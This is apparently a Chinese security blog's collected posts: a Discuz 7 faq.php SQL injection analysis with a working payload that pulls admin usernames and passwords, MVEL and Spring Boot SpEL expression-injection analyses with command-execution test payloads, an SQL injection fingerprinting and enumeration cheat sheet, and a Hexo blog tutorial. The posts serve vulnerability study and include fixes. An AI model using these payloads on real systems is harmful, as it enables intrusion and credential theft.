Discuz7 faq.php Sqli 漏漏洞分析

0x00 漏洞概述

Discuz7 SQL注射的漏洞利用PHP一个特性绕过gpc防护,可直接将SQL注入到原有查询中。

0x01 漏洞根源

问题出现在/faq.php文件里,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
elseif($action == 'grouppermission') {
/*省略部分代码*/
if($cgdata[0] == 'member') {
$nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1] > 0) {
$gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1];
}
$gids[2] = $groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1] < count($groups[$cgdata[0]]) - 1) {
$gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids) == 2) {
$gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2];
}
} elseif(count($gids) == 2) {
$gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2];
}
} else {
$gids[1] = $groups[$cgdata[0]][$cgdata[1]];
}
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();

可以看出在$cgdata[0]不为“member”时gids是没有经过初始化的,而且gids变量用户可以通过GET或者POST的方法来进行创建赋值。

虽然在discuz在前面处理提交的时候,对单引号内容进行了转义,但是利用PHP字符串特性,可以达到绕过转义的效果。

0x02 漏洞利用

PHP对于字符串,也会将它作为数组来处理。例如:

1
2
$s = '1234567890';
print $s[0];

上面这段代码则会输出字符1。正是这个特性,导致这个问题的可利用。通过代码,我们可以看出$gids会被当做数组来处理,并且每个数组中的内容只读取第一个元素的内容。然后在后面的SQL语句中,通过“’,’”来分隔每个数组中的内容。例如,我$gids中赋予的内容是$gids[0]=’wsyo’,$gids[1]=’3’,那么最终SQL的拼接结果是:

1
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('t','3')

那么如果$gids[0]=’\’’这样一个转以后的单引号来代替刚才的’wsyo’会发生什么?

1
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('\','3')

原有的单引号被破坏掉了,我们只需要$gids[1][0]来添加要注入的SQL语句就可以实现SQL注入攻击了。

0x03 漏洞重现

向/faq.php?faq.php?action=grouppermission发送请求,使用GET或POST提交参数

1
gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

我的测试提交如下:

1
192.168.188.143/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

效果如下图所示:

0x04 漏洞总结

####漏洞小结

  1. 影响范围个人评价为“高”,Discuz 7.x系列虽然是discuz的老版本了,但是在国内使用的网站人有很多,所以影响范围还是很广的。

  2. 危害性个人评价为“极高”,此漏洞几乎不需要任何附加条件,只需服务端可被访问便可被利用,攻击者可以利用这个漏洞getshell。

####防护方案

初始化gids变量。

官方已经发布修复补丁和修复方案,相关链接为:
http://www.discuz.net/thread-3579915-1-1.html

MVEL解析表达式

0x00 概述

在google搜索Expression Language时,发现在维基百科中相关的词条叫做“统一表达式语言”。再次词条的引用部分,被一行内容吸引到:

MVEL - 一个被众多Java项目使用的开源的表达式语言。

最流行的内容研究的现阶段价值也就最大,攻防更是如此。所以,我打算在JWEI的研究中,先拿它来开刀。

本篇文章将针对MVEL解析表达式的过程进行简单的分析,来帮助我们在未来的研究中探索这种表达式的特性。

0x01 MVEL表达式执行方法

MVEL运行时提供给使用者两种使用模式——解释模式和编译模式。解释模式是一种无状态的即时编译并执行的特设模式,不会产生中间产物,但是表达式执行的速度会减慢。编译模式会产生大量的编译中间产物,用于缓存和预执行,但是执行速度比解释模式更快。

以上是官方文档中向使用者描述的两种使用方法,下面我们来看下,官方对于这两种模式的实现示例。

解释模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.mvel.MVEL;
public class MVELTest {
public static void main(String[] args) {
String expression = "foobar > 99";
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
// We know this expression should return a boolean.
Boolean result = (Boolean) MVEL.eval(expression, vars);
if (result.booleanValue()) {
System.out.println("It works!");
}
}
}

编译模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.mvel.MVEL;
public class MVELTest2 {
public static void main(String[] args) {
String expression = "foobar > 99";
// Compile the expression.
Serializable compiled = MVEL.compileExpression(expression);
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
// Now we execute it.
Boolean result = (Boolean) MVEL.executeExpression(compiled, vars);
if (result.booleanValue()) {
System.out.println("It works!");
}
}
}

除了上面的两种调用方法,我在看ElasticSearch代码时,发现它使用了另外的一种方法,来实现MVEL的执行。这种方法属于编译模式,我的测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.mvel2.MVEL;
import org.mvel2.compiler.ExecutableStatement;
import org.mvel2.integration.impl.MapVariableResolverFactory;
public class MvelDemo {
public static void main(String[] args) {
String expression = "foobar > 99";
String str = "a=123";
String exp = ";new java.lang.ProcessBuilder(\"calc\").start();";
MapVariableResolverFactory resolver = new MapVariableResolverFactory(new HashMap());
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
ExecutableStatement script = (ExecutableStatement) MVEL.compileExpression(str+exp);
script.getValue(null,resolver);
}
}

即通过编译后的内容可以转换成ExecutableStatement类型,通过这种类型的getValue方法,也是可以执行表达式内容的。

0x02 解析执行过程

我们分析过程中用来测试的表达式是:“a=123;new java.lang.ProcessBuilder(“calc”).start();”。

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.mvel2.MVEL;
import org.mvel2.compiler.ExecutableStatement;
public class MvelDemo {
public static void main(String[] args) {
String exp = "a=123;new java.lang.ProcessBuilder(\"calc\").start();";
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
String result = MVEL.eval(exp, vars).toString();
}
}

首先进入到MVEL中的eval方法中,在这个方法中初始化MVELInterpretedRuntime类,并且调用它的parse方法。在parse方法中最主要的步骤是调用parseAndExecuteInterpreted方法,这个方法是解释模式中最终处理表达式执行的方法。我们来看它最开始的一部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private Object parseAndExecuteInterpreted() {
ASTNode tk = null;
int operator;
lastWasIdentifier = false;
try {
while ((tk = nextToken()) != null) {
holdOverRegister = null;
if (lastWasIdentifier && lastNode.isDiscard()) {
stk.discard();
}
/**
* If we are at the beginning of a statement, then we immediately push the first token
* onto the stack.
*/
if (stk.isEmpty()) {
if ((tk.fields & ASTNode.STACKLANG) != 0) {
stk.push(tk.getReducedValue(stk, ctx, variableFactory));
Object o = stk.peek();
if (o instanceof Integer) {
arithmeticFunctionReduction((Integer) o);
}
}
else {
stk.push(tk.getReducedValue(ctx, ctx, variableFactory));
}

tk=nextToken()这条语句会将程序带入到AbstractParser这个类的nextToken方法中。而这个类的位置是org.mvel2.compiler.AbstractParser,我们在进入这个类后,可以看到下面这样的一行注释:

1
2
3
4
5
/**
* This is the core parser that the subparsers extend.
*
* @author Christopher Brock
*/

由此可见,不管使用哪种执行表达式的方法,对于表达式的解析都是由这个类来完成的。我们继续来跟进nextToken的执行过程。

初始化抓取标识capture,跳过debug这些内容,检测游标所指位置字符是否符合规范(标准的变量名),若符合则开启抓取(抓取标识置true),并且游标加一。然后判断此时游标字符是否符合规范,如果是则游标加一,不断往复。

检测游标所指之前内容是否存在NEW、IF、CONTAINS等操作关键字,我们此时的内容为a,所以跳过这个环节。skipWhitespace方法跳过回车、换行和注释等空白内容,此时游标指在“=”。

进入抓取循环,识别出当前字符为“=”,进入等号处理分支,在此分支的非操作符处理块中处理我们的表达式。先游标加一,此时游标指向“1”。通过captureToEOS方法抓取从当前位置到语句结束内容,即从“1”到分号前的内容(123),此时游标指向“;”。最后返回AssignmentNode实例,其中已解析完成语句内容(变量名a,值123)。

返回到paraseAndExcuteInterpreted方法,通过返回节点实例的getReducedValue方法来处理“a=123”这条语句(通过递归解析子表达式)。AssignmentNode的getReduceValue处理语句两种方式,一种是对已存在的变量,进行操作后,然后返回上下文环境;另一种是对不存在的变量进行创建,然后通过getValue返回。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public Object getReducedValue(Object ctx, Object thisValue, VariableResolverFactory factory) {
checkNameSafety(varName );
if ( col) {
PropertyAccessor.set(factory.getVariableResolver( varName).getValue(), factory, index, ctx = MVEL.eval( expr, start , offset , ctx, factory), pCtx);
}
else {
return factory.createVariable(varName, MVEL. eval( expr, start , offset , ctx, factory)).getValue();
}
return ctx;
}

这里我们又进入了一个eval,不过这回eval的主角变成了“123”

根据返回的内容创建SimpleSTValueResolver实例,调用getValue方法返回其值,然后压入到ExecutionStatck中。

1

下面继续循环内容,游标向后移至语句截止符“;”,nextToken返回截止节点信息

1
2
3
4
case ';' :
cursor++;
lastWasIdentifier = false;
return lastNode = new EndOfStatement(pCtx);

2

ExecutionStatck不为空(之前已经压入了“123”)则继续向下执行,进入判断操作符分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
switch (procBooleanOperator(operator = tk.getOperator())) {
case RETURN :
variableFactory.setTiltFlag(true);
return stk .pop();
case OP_TERMINATE :
return stk .peek();
case OP_RESET_FRAME :
continue;
case OP_OVERFLOW :
if (!tk.isOperator()) {
if (!(stk .peek() instanceof Class)) {
throw new CompileException("unexpected token or unknown identifier:" + tk.getName(), expr, st);
}
variableFactory.createVariable(tk.getName(), null, (Class) stk.peek());
}
continue;
}

分号属于OP_RESTE_FRAME,并且通过procBooleanOperator方法清空ExecutionStatck等残留信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case END_OF_STMT:
/**
* Assignments are a special scenario for dealing with the stack. Assignments are basically like
* held -over failures that basically kickstart the parser when an assignment operator is is
* encountered. The originating token is captured, and the the parser is told to march on. The
* resultant value on the stack is then used to populate the target variable.
*
* The other scenario in which we don't want to wipe the stack, is when we hit the end of the
* statement, because that top stack value is the value we want back from the parser.
*/
if (hasMore()) {
holdOverRegister = stk .pop();
stk.clear();
}
return OP_RESET_FRAME ;

然后进入下一循环,读取后面的语句。重复之前的捕获关键字的过程捕获到“NEW”(通过空格捕获到的),通过captureToNextTokenJunction 从当前位置抓取到下一个连接点(junction),此时游标指向“(”(“()”中所包含的内容,应作为子语句所解析,所以“(”之前部分应先解析)。然后根据圆括号之前的内容,构造NewObjectPrototype实例,并以此构建节点,最后返回节点。

1

然后进入org.mvel2.ast.NewObjectNode中的getReducedValue,这里“123”那里差不多,使用org.mvel2.MVEL.eval来递归解析圆括号中的内容。就像“123”那样解析,不同的是被双引号包围,所以作为字符串来解析,返回Literal节点。然后压栈,进行一些后续操作,结束操作返回上一层调用(NewObjectNode那里)。

后面就是通过反射构造实例,初始化执行的调用了。这里最需要注意的是org.mvel2.PropertyAccessor这个类,这个类中方法的调用大多是与反射相关的。所以一旦在分析过程中进入了这个类,并且调用了某个比较大的方法,那么很有可能这种MVEL表达式的用法会造成一些强大的破坏,例如这里:

再然后就如同上一条语句那样,检测到语句结束字符“;”,返回上一层,结束解析和执行。

0x03 一些方法功能的记录

AssignmentNode 创建节点实例,解析单条语句中的变量和值,或者方法操作。

balancedCapture 获取(、[分支中的内容。

captureStringLiteral 获取制定包围符中的字符串(if (expr[cursor] == ‘\\‘) cursor++;这句比较有趣)。

1
2
3
4
5
6
7
8
9
10
11
public static int captureStringLiteral(final char type, final char[] expr, int cursor, int end) {
while (++cursor < end && expr[cursor] != type) {
if (expr [cursor] == '\\' ) cursor++;
}
if (cursor >= end || expr[cursor] != type) {
throw new CompileException("unterminated string literal" , expr , cursor);
}
return cursor;
}

captureToEOS 抓取从当前位置到语句结束。

captureToNextTokenJunction 从当前位置抓取到下一个连接点(junction),即遇到“(”、“/”、“/*”和空白符时终止,遇到“[”则向后偏移至“]”。

captureContructorAndResidual 抓取()中的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static String[] captureContructorAndResidual(char[] cs, int start, int offset) {
int depth = 0;
int end = start + offset;
boolean inQuotes = false;
for ( int i = start; i < end; i++) {
switch (cs[i]) {
case '"' :
inQuotes = !inQuotes;
break;
case '(' :
depth++;
break;
case ')' :
if (!inQuotes) {
if (1 == depth--) {
return new String[]{createStringTrimmed (cs, start, ++i - start), createStringTrimmed(cs, i, end - i)};
}
}
}
}
return new String[]{new String(cs, start, offset)};
}

PropertyAccessor的getNormal 通过反射执行表达式。

Spring Boot框架SPEL表达式注入漏洞

pring是2003年兴起的轻量级Java开发框架。任何Java应用都可以使用该框架的核心特性,在Java EE平台之上有可用于构建Web应用的扩展。Spring Boot是Spring 的一个核心子项目,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置国内包括百度、阿里巴巴、腾讯等诸多知名企业都在使用该框架。
最近Spring Boot框架的SpEL表达式注入通用漏洞曝光,利用该漏洞,远程攻击者在服务器上可执行任意命令。

受影响的版本

Spring Boot 1.1 1.2 1.3.0版本

不受影响的版本

Spring Boot 1.3.1及以上版本

漏洞分析

以下是官方给的漏洞说明:

查看spring boot1.3.0的源文件ErrorMvcAutoConfiguration.java,发现出问题的地方主要在SpelView类中:

经过分析得知在用户采用了Spring Boot启动Spring MVC项目后Spring Boot的默认异常模板在处理异常信息的时候递归解析SPEL表达式,可导致SPEL表达式注入并执行。主要问题是SpelView类中会对路径中或者名字中含有的表达式递归解析,所以在1.3.1修复时添加了NonRecursivePropertyPlaceholderHelper类,防止递归解析路径中或者名字中含有的表达式。

漏洞利用

利用此漏洞,只需在SpringMVC的Controller中的参数触发一个异常,异常信息带有SPEL表达式就可以注入了。
POC:
http://localhost:8555/test.php?id=${new%20java.lang.String(new%20byte[]{78,115,102,111,99,117,115})}
漏洞证明:

利用表达式成功创建了字符串Nsfocus.

补丁分析

从spring-boot的github的项目中可以看到,这个漏洞是在这个commit中修复的:
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
在修复的log里可以看到存着漏洞的1.3.0和1.3.1的差别:

1.3.1创建了NonRecursivePropertyPlaceholderHelper类,防止递归解析路径中或者名字中含有的表达式。

修复方法

升级Spring Boot版本至1.3.1或以上版本

参考链接

http://www.freebuf.com/news/108665.html
http://www.wooyun.org/bugs/wooyun-2010-226888
https://github.com/spring-projects/spring-boot/issues/4763

sql注入之数据库识别

目前,主流扫描器在性能和准确性上一直是各个厂家追捧的对象,然而由于缺少对一些特定环境的判断,例如,数据库的版本识别,页面相似度的计算,爬虫对单 url扫描时间的采样等,所以导致对于一个sql注入的检测势必会采取全规则扫描,那么对于一个数据库怎样去识别呢,我们可以根据所谓的“指纹”去探索, 数据库的类型。

根据数据库连接字符串的不同进行识别

在控制某个字符串数据项的查询中,可以再一个请求中提交一个特殊的值,然后测试个中连接方式,生成自己想要的字符串,如果得到相同的结果,就可以确定所使 用的数据库类型,如果该页面存在sql注入,当然就是用最简单的测试手法,进行探测,如果探测成功,然后就进行字符的连接测试,对于后台如果一个 url:http://www.site.com/select.php?a=1&b=2,假设存在注入漏洞,注入点是b,你可以加入一下内容, 构造你认为对的注入条件:

a) 字符串类型:

1
2
3
1. ORACLE:’database‘ || ’_detect‘
2. MS-SQL: ’database‘+’_detect‘
3. MYSQL:’database‘ ’_detect‘

b) 数字类型

1
2
3
1. ORACLE:BITAND(1,1) - BITAND(1,1)
2. MS-SQL:@@PACK_RECEIVED - @@PACK_RECEIVED
3. MYSQL: CONNECTION_ID() - CONNECTION_ID()

根据页面的返回特征,如果有你想要看到的现象,那么就可以确定数据库的类别。

根据数据库默认函数的不同进行识别

a) 基于时间的

  1. 在oracle之中,没有专门的内置时间函数,但是它有一个向远端服务器发送http请求的内置函数,UTL_HTTP,如果发送一个不存在的远端主机请 求,它就会尝试去连接,这样势必会造成一定程度的延迟。
  2. 在ms-sql之中,可以使用waitfor delay ‘0:0:10’注入参数之中,造成一定的延迟然后和预期的正常请求时间相比较,如果符合自己的预期,那么就可以确定数据库的类型
  3. 在mysql之中,可以使用sleep(5)注入参数之中,造成延迟来判断数据库类型
    b) 基于错误类型的
    众所周知对于不同的数据库,如果sql语句触发了错误,它们所爆出来的错误信息是不一样的,当然我们可以试探的形式去发现,例如我们用单引号,双引号,宽字节等有效手段,或者引发除零错之类的触发sql语句的错误,然后从错误信息之中寻找信息
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    1. ORACLE
    ORA-01756:quoted string not properly terminated
    ORA-00933:SQLcommand not properly ended
    2. MS-SQL
    Msg 170,level 15, State 1,Line 1
    Line 1:Incorrect syntax near ‘foo
    Msg 105,level 15,state 1,Line 1
    Unclose quotation mark before the character string ‘foo
    3. MYSQL
    you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

c) 根据注释也可以初步判断数据库类型,但是注释一般可以被程序过滤,所以严格意义上讲,不在考虑范围之内
这里举例就先这些,其实错误信息很多,如果个事实三者中的任意一个,那么就可以确定是哪一种数据库.

怎样去获取数据库的详细信息

a) 获取数据库的版本字符串

1
2
3
4
5
6
1. ORACLE
Select banner from v$version
2. MS-SQL
Select @@version
3. MYSQL
Select @@version

b) 获取当前操作的数据库

1
2
3
4
5
6
7
1. ORACLE
Select SYS_CONTEXT(‘USERENV’,’DBNAME’) from dual
2. MS-SQL
Select db_name()
获取服务器的名称可以用 select servername
3. MYSQL
Select database()

c) 获取当前用户的权限

1
2
3
4
5
6
7
8
9
1. ORACLE
Select privilege from session_privs
2. MS-SQL
Select grantee,table_name,privilege_type from
INFORMATION_SCHEMA.TABLE_PRIVILEGES
3. MYSQL
Select * from information_schema.user_privileges where grantee = ‘user’
这里的user可以来自select user()
如果要对这些检索出来的信息,进行一列显示,那么就要用到前面提到的连接符号

d) 显示用户表

1
2
3
4
5
6
7
1. ORACLE
Select object_name,object_type,from user_objectsWHEREobject_type=’TABLE’或者显示用户访问的所有表,从其中获取信息
Select table_name form all_tables
2. MS-SQL
Select name from sysobjectsWHERExtype=’U’
3. MYSQL
Select table_name from information_schema.tables where table_type=’BASE TABLE’ and table_schema!=’mysql’

e) 显示表foo的列名称

1
2
3
4
5
6
1. ORACLE
Select column_name,Name form uer_tab_columns where table_name = ‘FOO’,如果目标数据部位当前应用程序用户所有,使用ALL_table_columns表
2. MS-SQL
Select column_name,FORM information_schema.columns where table_name=’foo’
3. MYSQL
Select column_name from information_schema.columns where table_name=’foo’

f) 显示用户对象

1
2
3
4
5
6
1. ORACLE
Select object_name,object_type from user_objects
2. MS-SQL
Select name form sysobjects
3. MYSQL
Select table_name from information_schema.tables或者select trigger_name from information_schema.triggers

总结:

如果对于一个存在sql注入的站点来说,前两点可以轻松判断数据库的类型,最后的一点,可以根据实际情况进行sql拼接构造,对一个数据库进行探测

Hexo 搭建Blog教程

平时在浏览博客的时候发现好多人喜欢利用Hexo + Github搭建个人博客,正好一直也想搭建一个博客去记录和分享。在此过程中,折腾各种配置花了一些时间,所以详细记录一下遇到的相关问题。

1.安装Git

下载git,安装很简单,一路next下去

2.安装Node.js

下载node.js,安装也是一路next

3.本地搭建hexo博客

安装hexo

1
$ npm install -g hexo-cli

测试hexo是否安装成功

1
$ hexo version

新建一个文件夹,如MyBlog
进入该文件夹内,右击运行git,依次输入

1
2
3
4
$ hexo init
$ npm install
$ hexo g
$ hexo s

这时候在浏览器输入http://localhost:4000/ 就可以看到hexo已经成功生成了博客,当然这只是我们本地可以看到的

3.Github配置

登陆github后点击new repository,Repository name填写自己的名称 + .github.io,

直接点Create repository就可以了。

4.配置Github SSH密钥

在桌面空白处鼠标右键选择Git Bash Here

1
$ ssh-keygen -t rsa -C "your's emaill address"

引号里面的内容输入你的邮箱地址,然后回车,会提示你文件保存的路径,按回车键确认
然后会提示你输入密码,然后会确认输入一次,就可以在刚刚的路径看到生成了两个文件,一个是id_rsa,另一个是id_rsa.pub,用notepadd++打开id_rsa.pub然后选中里面的全部内容,复制下来。
登陆github,点击头像进入setting选项

5.将hexo博客与Github关联

修改_config.yml

1
2
3
4
deploy:
type: git
repository: http://github.com/yourname/yourname.github.io.git
branch: master

打开Git bash here

1
2
$ hexo g
$ hexo d

如果出现如下异常

1
ERROR Deployer not found: git

输入以下命令,然后重新执行上面两条命令

1
$ npm install hexo-deployer-git --save

这时候如果弹出一个对话框,输入在guthub上面的用户名和密码即可
这时候我们就可以在浏览器输入http://yourname.github.io(yourname替换成github上的名称)就可以看到博客已经搭建成功了。

更新博客内容

在MyBlog目录下执行:hexo new “我的第一篇文章”,会在source->_posts文件夹内生成一个.md文件。
编辑该文件(遵循Markdown规则)
修改起始字段
title 文章的标题
date 创建日期 (文件的创建日期 )
updated 修改日期 ( 文件的修改日期)
comments 是否开启评论 true
tags 标签
categories 分类
permalink url中的名字(文件名)
编写正文内容(MakeDown)
hexo clean 删除本地静态文件(Public目录),可不执行。
hexo g 生成本地静态文件(Public目录)
hexo deploy 将本地静态文件推送至github(hexo d)

MarkDown语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[hexo](http://www.baidu.com) 表示超链接
##大标题
###小标题
<!-- more -->
<!-- 标签别名 -->
{% cq %}blah blah blah{% endcq %}
空格 中文全角空格表示
---
文章标题
---
>内容 区块引用
*1
*2
*3
列表
*内容* 表示强调内容
![Alt text](/path/to/img.jpg) 图片
![](/upload_image/20161012/1.png)